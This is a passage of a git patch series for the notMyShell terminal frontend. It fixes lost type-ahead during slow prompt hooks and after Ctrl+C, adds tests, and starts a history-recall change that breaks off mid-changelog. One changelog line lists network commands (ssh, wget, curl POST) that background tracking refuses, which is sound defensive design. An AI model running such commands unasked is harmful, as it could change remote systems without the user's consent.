sequence replayed in the frontend (tests/ctrlCTypeAhead.test.ts), a slow prompt hook of the person's in real zsh and Bash with a draft typed during it (tests/promptHookLive.test.ts), and unit tests for the marker and the watch. Refs #436 --- CHANGELOG.md | 1 + docs/design/input-awareness.md | 7 +++ src/app/TerminalApp.ts | 8 ++++ src/session/InputWatch.ts | 27 +++++++++--- src/shell/ShellProtocol.ts | 6 +++ src/shell/ShellSession.ts | 2 + src/shell/adapters/BashAdapter.ts | 2 + src/shell/adapters/FishAdapter.ts | 2 + src/shell/adapters/ZshAdapter.ts | 11 ++++- tests/ctrlCTypeAhead.test.ts | 71 +++++++++++++++++++++++++++++++ tests/inputAwareness.test.ts | 33 ++++++++++++++ tests/promptHookLive.test.ts | 54 +++++++++++++++++++++++ tests/shellProtocol.test.ts | 8 ++++ 13 files changed, 226 insertions(+), 6 deletions(-) create mode 100644 tests/ctrlCTypeAhead.test.ts create mode 100644 tests/promptHookLive.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 41472b72..e8c4cac6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -27,6 +27,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - Paste review and `/track`: a redirect into a file is recognized wherever `>/dev/null` also appears (`echo x > ~/.zshrc 2>/dev/null` was labelled read-only), and `>|` is a redirection, not a pipe. - `/track` and `/watch` no longer start, without asking, commands that change things through the network or another command: `env <command>`, `NAME=value` prefixes, git's `-c`/`--ext-diff`, `npm publish`/`login`/`x`, `pnpm dlx`, `ssh`, `curl -X POST`/`-d`/`-o file`, plain `wget`; options that write files (`git … --output`, `sort -o`, `jest -u`, `--fix`) are refused. Read-only probes (`ping`, `dig`, `nc -z`, a curl GET) still start at once, and `npm test 2>&1` is no longer refused as a background job ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). - `/track stop` and a closing window end every process a tracked command left in its process group, including one that ignored TERM; a tracker whose directory disappeared names it instead of reporting `spawn /bin/sh ENOENT`. +- A command typed while the shell was showing its prompt again (after Ctrl+C, or after any command when a prompt hook is slow, as a heavy theme or `nvm` can be) no longer loses its beginning ([#436](https://github.com/raiseCatError/notMyShell/issues/436)). NMSh no longer reads the shell's own prompt hooks as the finished command waiting for input (`Probably waiting for input` while the prompt came back), and a late report of the question Ctrl+C ended no longer turns what you typed after it into a discarded reply; the rest of the line used to run on its own (`cho Y …`, command not found). ## [0.20.0] - 2026-10-18 diff --git a/docs/design/input-awareness.md b/docs/design/input-awareness.md index 1f7f529a..d99f4231 100644 --- a/docs/design/input-awareness.md +++ b/docs/design/input-awareness.md @@ -44,6 +44,13 @@ process), so the open question plus an idle process is the best available eviden (`cat`, Python `input()` with no prompt). The shell's own `read` is detected with or without a prompt. - On macOS, a `wait` builtin looks like a line read (the shell holds the terminal, idle); it is shown as "Probably". Linux's kernel report tells them apart. +- The shell's own prompt hooks are never taken for the command reading (#436). After a command ends, zsh and Bash run + their prompt hooks (the person's and NMSh's) before the prompt marker, and a slow hook holds the terminal, idle, as a + builtin `read` does. Each shell's first hook prints an authenticated `done` marker; from it to the next command + nothing is sampled and a sample already under way is dropped. zsh's single `precmd` function and Fish's other + postexec handlers can run before it. +- A question that began before Ctrl+C or Ctrl+Z, reported late, is the one the stop ended: the frontend drops it, so it + never turns what was typed after the stop into a reply (#436). - Programs reading through `poll`/`select` on macOS. - Programs that own the terminal. Fish 4's own `read` is one: it is fish's line editor, with bracketed paste and OSC 133 marks, so NMSh hands it the terminal and fish answers natively. It is not reported as waiting. diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 62148e4a..63033e7c 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -11840,6 +11840,14 @@ export class TerminalApp { private onInputState(state: InputState): void { // A state for a finished run (a late message) never resurrects it. if (!this.running) return; + // A question that began before Ctrl+C or Ctrl+Z is the one the stop ended, reported late (the session sampled it + // before it saw the stop). It never turns what was typed after the stop into a reply, nor routes keys to the + // program (#436); a question the program asks after the stop is new. + const stoppedAt = this.running.stoppedAt; + if (state.request && stoppedAt !== undefined && state.request.since < stoppedAt) { + const {request: _ended, ...current} = state; + state = current; + } this.inputState = state; const draft = this.runningDraft; if (state.terminalOwner) { diff --git a/src/session/InputWatch.ts b/src/session/InputWatch.ts index b3d64110..6d4feec4 100644 --- a/src/session/InputWatch.ts +++ b/src/session/InputWatch.ts @@ -69,6 +69,8 @@ const defaultTimer = (callback: () => void, ms: number) => { export class InputWatch extends EventEmitter<InputWatchEvents> { private running?: {command: string; since: number}; private reader = false; + /** The shell said the command is done and runs its prompt hooks: nothing until its prompt is the command's input. */ + private done = false; private readonly line = new OpenLine(); private readonly screen = new AlternateScreenTracker(); private request?: InputRequest; @@ -126,8 +128,22 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { this.emit('change', this.state); } + /** + * The shell's first prompt hook ran: the command has finished (#436). A slow hook holds the terminal, idle, exactly + * as a builtin read does, so from here to the prompt nothing is sampled and a sample already under way is dropped. + */ + onDone(at = this.now()): void { + if (!this.running || this.done) return; + this.done = true; + this.cancelTimer?.(); + this.cancelTimer = undefined; + this.generation += 1; + if (this.request) this.closeWait(at, true); + } + onExec(command: string, at = this.now()): void { this.reader = false; + this.done = false; this.closeWait(at, false); this.running = {command, since: at}; this.waitedMs = 0; @@ -165,6 +181,7 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { /** The command finished (the shell is back at its prompt): close any wait; the final timing stays readable. */ onPrompt(at = this.now()): void { + this.done = false; if (!this.running) return; this.closeWait(at, false); this.running = undefined; @@ -182,7 +199,7 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { async lookNow(): Promise<void> { for (let sample = 0; sample < 2; sample += 1) { while (this.probing) await this.probing; - if (this.disposed || !this.running || !this.options.probe) return; + if (this.disposed || !this.running || this.done || !this.options.probe) return; this.followUp = false; await this.look(true); if (!this.followUp || this.request) return; @@ -221,7 +238,7 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { private schedule(): void { this.cancelTimer?.(); this.cancelTimer = undefined; - if (this.disposed || !this.running || !this.options.probe) return; + if (this.disposed || !this.running || this.done || !this.options.probe) return; const quiet = this.now() - this.lastActivity; const planned = this.looks === 0 ? (this.line.open ? FIRST_LOOK_OPEN_MS : FIRST_LOOK_MS) : LOOKS_MS[this.looks - 1] ?? (quiet > SLOW_LOOK_AFTER_MS ? SLOW_LOOK_MS : STEADY_LOOK_MS); @@ -231,7 +248,7 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { /** One sample; onDemand looks (lookNow) leave the schedule's back-off where it was. */ private async look(onDemand = false): Promise<void> { - if (this.disposed || !this.running || this.probing) return; + if (this.disposed || !this.running || this.done || this.probing) return; if (!onDemand) this.looks += 1; if (this.ownsTerminal) { if (this.request) this.closeWait(this.now(), true); @@ -247,14 +264,14 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { const probing = (async () => { try { sample = await probe({tty}); } catch { sample = undefined; } })(); this.probing = probing; try { await probing; } finally { this.probing = undefined; } - if (this.disposed || !this.running) return; + if (this.disposed || !this.running || this.done) return; if (generation === this.generation && sample) this.apply(sample, this.now()); this.schedule(); } /** Decide from one sample. Exposed for tests through InputWatch.evaluate. */ apply(sample: TerminalSample, now: number): void { - if (!this.running || this.ownsTerminal) return; + if (!this.running || this.done || this.ownsTerminal) return; const busy = this.busy(sample.foreground, now); this.followUp = false; const next = this.decide(sample, busy, now); diff --git a/src/shell/ShellProtocol.ts b/src/shell/ShellProtocol.ts index 7e5455ea..ad8d9cb1 100644 --- a/src/shell/ShellProtocol.ts +++ b/src/shell/ShellProtocol.ts @@ -10,6 +10,11 @@ export interface ShellMarker { export type ProtocolEvent = | {kind: 'data'; data: string} | {kind: 'reader'} + /** + * The first prompt hook: the command has finished and the shell is running its prompt hooks (the person's and + * NMSh's) until its prompt marker. Nothing the shell does meanwhile is the command reading input (#436). + */ + | {kind: 'done'} | {kind: 'marker'; marker: ShellMarker} /** zsh preexec: a command line is about to run in the foreground. */ | {kind: 'exec'; command: string; historyAllowed?: number}; @@ -81,6 +86,7 @@ export class ShellProtocolDecoder { private emit(payload: string, events: ProtocolEvent[]): void { if (payload === 'reader') { events.push({kind: 'reader'}); return; } + if (payload === 'done') { events.push({kind: 'done'}); return; } if (/^exec2;[01];/u.test(payload)) { events.push({kind: 'exec', command: payload.slice(8), historyAllowed: Number(payload[6])}); return; diff --git a/src/shell/ShellSession.ts b/src/shell/ShellSession.ts index 03b1594f..bbc41401 100644 --- a/src/shell/ShellSession.ts +++ b/src/shell/ShellSession.ts @@ -227,6 +227,8 @@ export class ShellSession extends EventEmitter<SessionEvents> { } } else if (event.kind === 'reader') { if (this.ready && !this.atPrompt) this.inputWatch.onReader(); + } else if (event.kind === 'done') { + if (this.ready && !this.atPrompt) this.inputWatch.onDone(); } else if (event.kind === 'exec') { this.atPrompt = false; this.commandStart = true; diff --git a/src/shell/adapters/BashAdapter.ts b/src/shell/adapters/BashAdapter.ts index 79b6ca4f..8974bcab 100644 --- a/src/shell/adapters/BashAdapter.ts +++ b/src/shell/adapters/BashAdapter.ts @@ -106,6 +106,8 @@ __nmsh_history_last= ${context.bridgeEnvPath ? bridgeBootstrap('bash', context.bridgeEnvPath) : ''} __nmsh_precmd() { local nmsh_status=$? nmsh_command + # The command is done (#436): the prompt hooks below may hold the terminal; nothing they do is its input. + ${marker('done')} for nmsh_command in "\${__nmsh_user_prompt_command[@]}"; do [[ -n $nmsh_command ]] || continue __nmsh_set_status "$nmsh_status" diff --git a/src/shell/adapters/FishAdapter.ts b/src/shell/adapters/FishAdapter.ts index d4ef5f6f..f56ddb6d 100644 --- a/src/shell/adapters/FishAdapter.ts +++ b/src/shell/adapters/FishAdapter.ts @@ -86,6 +86,8 @@ function __nmsh_preexec --on-event fish_preexec end function __nmsh_postexec --on-event fish_postexec set -l nmsh_status $status + # The command is done (#436): nothing until the prompt marker is its input. + ${marker('done')} __nmsh_knowledge${bridgeEnvPath ? '\n nmsh_bridge_sync' : ''} ${marker('%d;%s')} $nmsh_status "$PWD" end diff --git a/src/shell/adapters/ZshAdapter.ts b/src/shell/adapters/ZshAdapter.ts index ca7fde3b..69eca831 100644 --- a/src/shell/adapters/ZshAdapter.ts +++ b/src/shell/adapters/ZshAdapter.ts @@ -82,6 +82,14 @@ function nmsh_tty_echo { } ${bridgeEnvPath ? bridgeBootstrap('zsh', bridgeEnvPath) : ''} +# The first prompt hook: the command is done (#436). Hooks after it (the person's, then NMSh's) may hold the +# terminal for a while; nothing they do is the command reading input. It hands the status on to them unchanged. +function nmsh_done { + local nmsh_status=$? + printf '\\e]777;nmsh;${token};done\\a' + return \$nmsh_status +} + function nmsh_precmd { local nmsh_status=$? nmsh_capture_knowledge${bridgeEnvPath ? '\n nmsh_bridge_sync' : ''} @@ -94,7 +102,7 @@ function nmsh_precmd { # Themes such as Powerlevel10k move their own hook to the end of # precmd_functions every cycle; move ours back after it so the next cycle # still blanks last. Their prompt-spacing options must not return either. - precmd_functions=(\${precmd_functions:#nmsh_precmd} nmsh_precmd) + precmd_functions=(nmsh_done \${precmd_functions:#nmsh_(done|precmd)} nmsh_precmd) unsetopt prompt_cr prompt_sp nmsh_tty_echo -echo printf '\\e]777;nmsh;${token};%d;%s\\a' "\$nmsh_status" "\$PWD" @@ -116,6 +124,7 @@ ${shellKnowledgeBootstrap(join(stateDir, '.nmsh-knowledge'))} autoload -Uz add-zsh-hook add-zsh-hook precmd nmsh_precmd add-zsh-hook preexec nmsh_preexec +precmd_functions=(nmsh_done \${precmd_functions:#nmsh_done}) # Startup is over: this shell has read its files. A zsh started from it (a tmux # pane, a nested shell) must be an ordinary zsh, not a second copy of this diff --git a/tests/ctrlCTypeAhead.test.ts b/tests/ctrlCTypeAhead.test.ts new file mode 100644 index 00000000..fa4a74e0 --- /dev/null +++ b/tests/ctrlCTypeAhead.test.ts @@ -0,0 +1,71 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import type {InputRequest} from '../src/session/inputState.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** + * #436: typing right after Ctrl+C is type-ahead for the prompt the stop brings back. Under load the session's report + * of the question Ctrl+C ended can reach the frontend after the stop; it used to mark what was typed after the stop + * as a reply, and the prompt then discarded it, so the rest of the line ran truncated (`cho Y >> …`, exit 127, seen + * live at load ~30). A question that began before the stop is the one the stop ended: it changes nothing. + * Deterministic: the session's late report is replayed in the order the live log recorded. No shell is started. + */ + +function fixture() { + const frame = executionFrameFixture(100, 30); + const written: string[] = []; + const submitted: string[] = []; + Object.defineProperty(frame.session, 'write', {value: (data: string) => { written.push(data); }, configurable: true}); + Object.defineProperty(frame.app, 'submit', {value: async () => { submitted.push(frame.app['editor'].text); frame.app['editor'].clear(); }, configurable: true}); + const state = (request?: InputRequest) => frame.session.emit('inputState', {...(request ? {request} : {}), timing: {waitedMs: 0, waits: 0}}); + const type = (text: string) => { for (const char of text) frame.app['onInput'](char); }; + const transcript = () => (frame.app['output'].transcript().lines as Array<Array<{text?: string} | null>>) + .map(line => line.map(cell => cell?.text ?? ' ').join('')).join('\n'); + return {...frame, written, submitted, state, type, transcript, text: () => frame.app['editor'].text as string}; +} + +test('#436: the report of the question Ctrl+C ended, arriving late, never turns type-ahead into a discarded reply', () => { + const f = fixture(); + try { + f.begin('read -r reply'); + const asked = Date.now(); + f.state({since: asked, confidence: 'likely', mode: 'line'}); + f.tick(200); + f.app['onInput']('\u0003'); + f.tick(20); + f.type('echo Y'); + // The session sampled the read before it saw the interrupt; its report and then the closing one arrive now. + f.state({since: asked, confidence: 'likely', mode: 'line'}); + f.state(); + f.tick(20); + f.complete(130); + assert.equal(f.text(), 'echo Y', 'what was typed after Ctrl+C is still the draft at the prompt'); + assert.doesNotMatch(f.transcript(), /reply was discarded/u); + f.type(' >> once'); + f.app['onInput']('\r'); + assert.deepEqual(f.submitted, ['echo Y >> once'], 'the whole line runs, once'); + assert.deepEqual(f.written, [], 'nothing reached the interrupted program'); + } finally { f.dispose(); } +}); + +test('#436: a stale hidden report after Ctrl+C does not route type-ahead to the program; a new question does', () => { + const f = fixture(); + try { + f.begin('read -s secret'); + const asked = Date.now(); + f.state({since: asked, confidence: 'confirmed', mode: 'hidden'}); + f.tick(200); + f.app['onInput']('\u0003'); + f.tick(20); + f.state({since: asked, confidence: 'confirmed', mode: 'hidden'}); + f.type('ls'); + assert.equal(f.text(), 'ls', 'type-ahead for the prompt stays in the composer'); + assert.deepEqual(f.written, []); + // A program that survived the interrupt and asks again: that question is new, and keys are its own. + f.tick(50); + f.state({since: Date.now(), confidence: 'confirmed', mode: 'hidden'}); + f.type('x'); + assert.deepEqual(f.written, ['x'], 'keys typed for the new question are its own'); + assert.equal(f.text(), 'ls', 'what was typed before it began stays the draft'); + } finally { f.dispose(); } +}); diff --git a/tests/inputAwareness.test.ts b/tests/inputAwareness.test.ts index c10e66f9..e95bdb0e 100644 --- a/tests/inputAwareness.test.ts +++ b/tests/inputAwareness.test.ts @@ -40,6 +40,39 @@ test('a shell reader owns input until the command returns, without claiming a wa watch.dispose(); }); +test('#436: after the shell says the command is done, its prompt hooks are never read as the command waiting', async () => { + // A slow hook holds the terminal, idle, with line settings: exactly what a builtin read looks like. + let resolve!: (sample: TerminalSample) => void; + const changes: InputState[] = []; + const watch = new InputWatch({probe: () => new Promise<TerminalSample>(done => { resolve = done; }), tty: () => '/dev/ttys9'}); + watch.on('change', state => changes.push(state)); + watch.onExec('make', 0); + const looking = watch.lookNow(); + for (let index = 0; index < 3; index++) await Promise.resolve(); + watch.onDone(50); + resolve({modes: {canonical: true, echo: false, signals: true}, foreground: [{pid: 1, state: 'Ss+', cpuMs: 1, command: 'zsh'}]}); + await looking; + assert.equal(watch.state.request, undefined, 'a sample under way when the command finished is dropped'); + assert.ok(changes.every(state => !state.request), 'never reported, not even for a moment'); + await watch.lookNow(); + assert.equal(watch.state.request, undefined, 'and nothing is sampled until the prompt'); + // An open wait is closed by done: its time is counted to that moment. + const asked = new InputWatch({probe: async () => ({modes: {canonical: true, echo: false, signals: true}, foreground: [{pid: 1, state: 'S+', cpuMs: 1, command: 'sudo'}]}), tty: () => '/dev/ttys9', now: () => 100}); + asked.onExec('sudo -k true', 0); + await asked.lookNow(); + assert.equal(asked.state.request?.mode, 'hidden'); + asked.onDone(400); + assert.equal(asked.state.request, undefined); + assert.equal(asked.state.timing.waitedMs, 400, 'the wait counts to the moment the command finished'); + // The next command is watched again. + asked.onPrompt(500); + asked.onExec('read -s x', 600); + await asked.lookNow(); + assert.equal(asked.state.request?.mode, 'hidden'); + watch.dispose(); + asked.dispose(); +}); + test('open line: a prompt left without a newline is open; a finished line, a rewrite or cursor drawing is not', () => { const line = new OpenLine(); line.push('Pass 1: Checking inodes\r\nPadding at end of inode bitmap is not set. Fix<y>? '); diff --git a/tests/promptHookLive.test.ts b/tests/promptHookLive.test.ts new file mode 100644 index 00000000..d61721d0 --- /dev/null +++ b/tests/promptHookLive.test.ts @@ -0,0 +1,54 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {spawnSync} from 'node:child_process'; +import {existsSync, writeFileSync} from 'node:fs'; +import {join} from 'node:path'; +import {LiveSandbox, strip, until} from './helpers/liveFrontend.js'; + +/** + * #436: after a command ends the shell runs its prompt hooks (the person's own and NMSh's) before it reports its + * prompt. A slow hook holds the terminal, idle, exactly as a builtin `read` does, and the input watch used to report + * it as the finished command waiting for a line: a draft typed meanwhile was then taken for a reply and discarded + * when the prompt came (or, after Ctrl+C, lost in the shell). The shell now says the command is done as its first + * hook, and nothing after that is read as the command's input. + */ +const bash = ['/opt/homebrew/bin/bash', '/usr/local/bin/bash', '/usr/bin/bash', '/bin/bash'] + .find(path => existsSync(path) && /version (?:4\.[4-9]|[5-9]\.)/u.test(spawnSync(path, ['--version'], {encoding: 'utf8'}).stdout ?? '')); +const supported = process.platform === 'darwin' || process.platform === 'linux'; +const pause = (ms: number) => new Promise(done => setTimeout(done, ms)); + +/** A prompt hook of the person's that holds the shell, idle, for 2 s once ~/slow exists (startup stays fast). */ +const SLOW_HOOK = { + zsh: ['.zshrc', 'zmodload zsh/zselect\nnmsh_test_slow() { [[ -f ~/slow ]] && zselect -t 200; return 0 }\nprecmd_functions+=(nmsh_test_slow)\n'], + bash: ['.bashrc', 'mkfifo ~/.slow-wait 2>/dev/null; exec 9<>~/.slow-wait\nnmsh_test_slow() { [[ -f ~/slow ]] && read -t 2 -u 9; return 0; }\nPROMPT_COMMAND=nmsh_test_slow\n'], +} as const; + +for (const shell of ['zsh', 'bash'] as const) { + const available = supported && (shell === 'zsh' || bash); + test(`live ${shell}: a slow prompt hook is never taken for the command reading input; a draft typed during it survives`, {skip: available ? false : `${shell} not available`, timeout: 120_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: shell}, shell === 'bash' && bash ? {PATH: `${bash.replace(/\/bash$/u, '')}:${process.env.PATH}`} : {}); + const [file, content] = SLOW_HOOK[shell]; + writeFileSync(join(sandbox.home, file), content); + const frontend = sandbox.launch([], {cols: 120, rows: 36}); + try { + await frontend.waitFor(/zsh|bash/u); + await until(async () => (await sandbox.sessions()).some(session => session.lastExit !== undefined), 30_000, 'the first prompt'); + await frontend.run('echo READY', /READY/u); + writeFileSync(join(sandbox.home, 'slow'), ''); + const mark = frontend.mark; + frontend.pty.write('true\r'); + // The command ends at once; the hook then holds the shell for 2 s. Give the watch time to look during it. + await pause(900); + for (const char of 'echo NEXT-HOOK') { frontend.pty.write(char); await pause(20); } + await until(async () => (await sandbox.sessions())[0]?.running === undefined, 15_000, 'the prompt after the slow hook'); + await pause(400); + const shown = strip(frontend.output.slice(mark)); + assert.doesNotMatch(shown, /[Ww]aiting for input/u, 'the shell running its own hook is not the command waiting'); + assert.doesNotMatch(shown, /reply was discarded/u, 'the draft was never taken for a reply'); + frontend.pty.write('\r'); + await frontend.waitFor(/NEXT-HOOK/u, mark, 15_000); + await until(async () => (await sandbox.transcripts().list()).flatMap(session => session.transcript.records) + .filter(record => record.command === 'echo NEXT-HOOK').length === 1, 15_000, 'the draft to run once'); + } finally { await sandbox.dispose(); } + }); +} diff --git a/tests/shellProtocol.test.ts b/tests/shellProtocol.test.ts index e65fd7f7..1dca977a 100644 --- a/tests/shellProtocol.test.ts +++ b/tests/shellProtocol.test.ts @@ -10,6 +10,14 @@ test('only an authenticated reader marker transfers terminal ownership, includin assert.deepEqual(decoder.push('der\u0007Name: '), [{kind: 'reader'}, {kind: 'data', data: 'Name: '}]); }); +test('#436: only an authenticated done marker says the command finished before the prompt hooks run', () => { + const decoder = new ShellProtocolDecoder('token'); + const foreign = '\u001b]777;nmsh;other;done\u0007'; + assert.deepEqual(decoder.push(foreign), [{kind: 'data', data: foreign}], 'another token is ordinary output'); + assert.deepEqual(decoder.push('out\u001b]777;nmsh;token;do'), [{kind: 'data', data: 'out'}]); + assert.deepEqual(decoder.push('ne\u0007\u001b]777;nmsh;token;0;/tmp\u0007'), [{kind: 'done'}, {kind: 'marker', marker: {exitCode: 0, cwd: '/tmp'}}]); +}); + test('extracts split shell markers without leaking them into output', () => { const decoder = new ShellProtocolDecoder('token'); assert.deepEqual(decoder.push('hello\u001B]777;nmsh;tok'), [{kind: 'data', data: 'hello'}]); From 83135298b59a8352b51e31a9ac7483b6a2700a78 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 01:14:45 +0530 Subject: [PATCH 059/157] Input ownership: a stale question is ignored only while typing is type-ahead Review of the #436 fix: dropping a question that began before Ctrl+C for the rest of the command could fail open. If it stayed the session's word (a program that read through the stop), the frontend would never be told again, and a password typed later could be drawn in the composer. - The stale question is ignored only during the type-ahead window after the stop (2 s). If it is still the session's latest word when the window closes, it applies then, so a hidden question goes back to direct, never drawn input. - A draft begun in that window is type-ahead for the prompt: it is never flipped to a reply nor handed to the program, whatever arrives later. A regression covers the reviewed case: the question re-applies after the window, new keys go straight to the program, and the type-ahead draft stays. It fails without this change. Refs #436 --- src/app/TerminalApp.ts | 23 ++++++++++++++++------- tests/ctrlCTypeAhead.test.ts | 25 +++++++++++++++++++++++++ 2 files changed, 41 insertions(+), 7 deletions(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 63033e7c..ab319e78 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -842,7 +842,8 @@ export class TerminalApp { * answer, discarded rather than run if the command ends first). Drafts started before the command's latest output * are type-ahead for the shell and stay in the composer. */ - private runningDraft?: {startId: number; at: number; answering: boolean}; + /** typeAhead: begun right after Ctrl+C or Ctrl+Z, for the prompt the stop brings back: never a reply (#436). */ + private runningDraft?: {startId: number; at: number; answering: boolean; typeAhead: boolean}; /** * Keys held while the session looks whether the running command waits for input: the first key of a draft (a * hidden reply is never drawn) and an Enter that would queue (a reply never becomes a queued command). @@ -2330,7 +2331,8 @@ export class TerminalApp { // is discarded rather than left to run as the next shell command. if (this.running && !this.editor.text && (key.kind === 'text' || key.kind === 'paste')) { // Right after Ctrl+C or Ctrl+Z, typing is type-ahead for the prompt, not a reply. - this.runningDraft = {startId: this.running.startId, at: Date.now(), answering: this.answersByDefault() && !this.justStopped()}; + const typeAhead = this.justStopped(); + this.runningDraft = {startId: this.running.startId, at: Date.now(), answering: this.answersByDefault() && !typeAhead, typeAhead}; } // Flow keeps the composer in the document: editing while scrolled back // returns to it first. Scrolling and mouse navigation alone never do. @@ -11841,11 +11843,18 @@ export class TerminalApp { // A state for a finished run (a late message) never resurrects it. if (!this.running) return; // A question that began before Ctrl+C or Ctrl+Z is the one the stop ended, reported late (the session sampled it - // before it saw the stop). It never turns what was typed after the stop into a reply, nor routes keys to the - // program (#436); a question the program asks after the stop is new. + // before it saw the stop): while typing is type-ahead for the prompt, it routes nothing to the program (#436). If it + // is still the session's word when that window closes (the program kept reading through the stop), it applies + // then, so a hidden question goes back to direct, never drawn input. A question asked after the stop is new. const stoppedAt = this.running.stoppedAt; - if (state.request && stoppedAt !== undefined && state.request.since < stoppedAt) { + if (state.request && stoppedAt !== undefined && this.justStopped() && state.request.since < stoppedAt) { const {request: _ended, ...current} = state; + const running = this.running; + const reported = state; + const later = setTimeout(() => { + if (this.running === running && this.inputState === current) this.onInputState(reported); + }, Math.max(0, stoppedAt + STOP_TYPE_AHEAD_MS - Date.now())); + later.unref?.(); state = current; } this.inputState = state; @@ -11862,12 +11871,12 @@ export class TerminalApp { const request = state.request; // Keys typed after the program wrote its question, in the moment before NMSh could tell how it reads, were // meant for it: a terminal would already have delivered them. Hand them over now instead of hiding them. - if (request && directInput(request) && draft && draft.startId === this.running.startId && draft.at >= request.since && this.editor.text) { + if (request && directInput(request) && draft && !draft.typeAhead && draft.startId === this.running.startId && draft.at >= request.since && this.editor.text) { const typed = this.editor.text; this.editor.clear(); this.runningDraft = undefined; this.session.write(typed); - } else if (request && draft && draft.at >= request.since && this.editor.text) draft.answering = true; + } else if (request && draft && !draft.typeAhead && draft.at >= request.since && this.editor.text) draft.answering = true; // The evidence a held key waited for has arrived. if (request) this.ownershipLook?.release(); this.render(); diff --git a/tests/ctrlCTypeAhead.test.ts b/tests/ctrlCTypeAhead.test.ts index fa4a74e0..729d6071 100644 --- a/tests/ctrlCTypeAhead.test.ts +++ b/tests/ctrlCTypeAhead.test.ts @@ -69,3 +69,28 @@ test('#436: a stale hidden report after Ctrl+C does not route type-ahead to the assert.equal(f.text(), 'ls', 'what was typed before it began stays the draft'); } finally { f.dispose(); } }); + +test('#436 review: a question still open after the type-ahead window (the program read through Ctrl+C) applies again', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('stubborn-prompt'); + const asked = Date.now(); + f.state({since: asked, confidence: 'confirmed', mode: 'hidden'}); + f.tick(200); + f.app['onInput']('\u0003'); + f.tick(20); + // The session never saw the wait close: its word is still the hidden question from before the stop. + f.state({since: asked, confidence: 'confirmed', mode: 'hidden'}); + f.type('ls'); + assert.equal(f.text(), 'ls', 'within the window: type-ahead for the prompt'); + assert.deepEqual(f.written, []); + // The window closes (2 s after the stop) with no newer word from the session. + f.tick(2000); + t.mock.timers.tick(2000); + assert.equal(f.app['inputState']?.request?.mode, 'hidden', 'the open hidden question applies again'); + f.type('pw'); + assert.deepEqual(f.written, ['p', 'w'], 'new keys go straight to the program, never drawn'); + assert.equal(f.text(), 'ls', 'the draft typed as type-ahead is never handed over as a reply'); + } finally { f.dispose(); } +}); From 29d73a694815e30b1c93caf07c163e9b83872d99 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 01:15:01 +0530 Subject: [PATCH 060/157] Composer history: a recalled command is one step, however many lines it has #389 (approved for v0.22): after Up recalled a multiline or soft-wrapped command, further Up presses moved the caret through its rows before history moved on: a recalled five-line command took five extra presses to pass, and tests/composerHistory.test.ts codified that. - TerminalApp: while the composer shows an unchanged recalled entry and the person has done nothing else since, Up and Down step entry by entry (historyStep). Any other composer key (typing, pasting, deleting, moving the caret or a word, Home/End, selecting, Select All) makes it a draft again: Up/Down move between its rows as before, and the next recall starts a fresh snapshot. The flag is combined with ComposerHistory's text check, so anything else that replaces the text also ends browsing. - The slash-menu exit path and the running-command path use the same step. Down past the newest entry restores the exact draft, as before. Editing a fresh multiline draft, completion and slash menus, the agent shelf and the background bar keep their precedence. CommandEditor is unchanged. The test that codified the old behavior is replaced. New tests: five-line and soft-wrapped entries step once per press both ways, oldest and newest ends, the exact multiline draft restored, and each way of leaving browsing (typing, caret, word, Home, selection, paste). Four fail on dev. Refs #389 --- CHANGELOG.md | 4 ++ src/app/TerminalApp.ts | 34 +++++++++--- tests/composerHistory.test.ts | 79 ++++++++++++++++++++++++++-- tests/composerHistoryRunning.test.ts | 5 +- 4 files changed, 110 insertions(+), 12 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 41472b72..e7e06981 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,6 +19,10 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - **Five more bundled theme families** ([#401](https://github.com/raiseCatError/notMyShell/issues/401)): Ayu (Dark, Mirage, Light), Kanagawa (Wave, Dragon, Lotus), Everforest (Dark, Light), Flexoki (Dark, Light) and Night Owl (Night Owl, Light Owl), with colors copied exactly from each project's MIT-licensed source at a recorded revision. They theme NMSh's own prompt fills and chrome only; the terminal's own colors and configuration are never changed. Existing theme ids and saved choices are unchanged, and Lavender stays the default. Theme Studio's Built-in list gains `/` to filter by name, family, or `dark`/`light`. - **`/track`** keeps one live result of a finite command in the transcript, refreshed in place ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). `/track df -h` or `/track --every 5s -- docker system df` writes the command once, then shows a status row (`live · every 5s · updated 13:49:25 · exit 0`, a failing exit, a timeout, paused, stale, refreshing) and the latest result under it, with a stable height. The shell stays free; nothing accumulates per refresh, and find, selection and `/copy` never include the live rows. `/track copy` copies the latest result, `/track refresh`, `pause`, `resume` and `stop` control it, and stopping leaves the last result in the transcript once. Samples run `sh -c` from the starting directory with your shell's PATH (not its aliases or functions), never overlap, and are bounded (200 kB, a timeout, at most 8 trackers); destructive and unknown commands are refused or need a Yes, as for `/watch`. Trackers stop with the window that started them. `/watch` keeps its manager and its behavior; both share one scheduler, which gains stricter interval parsing, refusals for substitutions, background jobs and heredocs, UTF-8-safe bounded capture, visible timeouts and a stop grace period (from draft #394). +### Changed + +- **Up and Down step through history one command at a time, however many lines a command has** ([#389](https://github.com/raiseCatError/notMyShell/issues/389)). Once Up has recalled 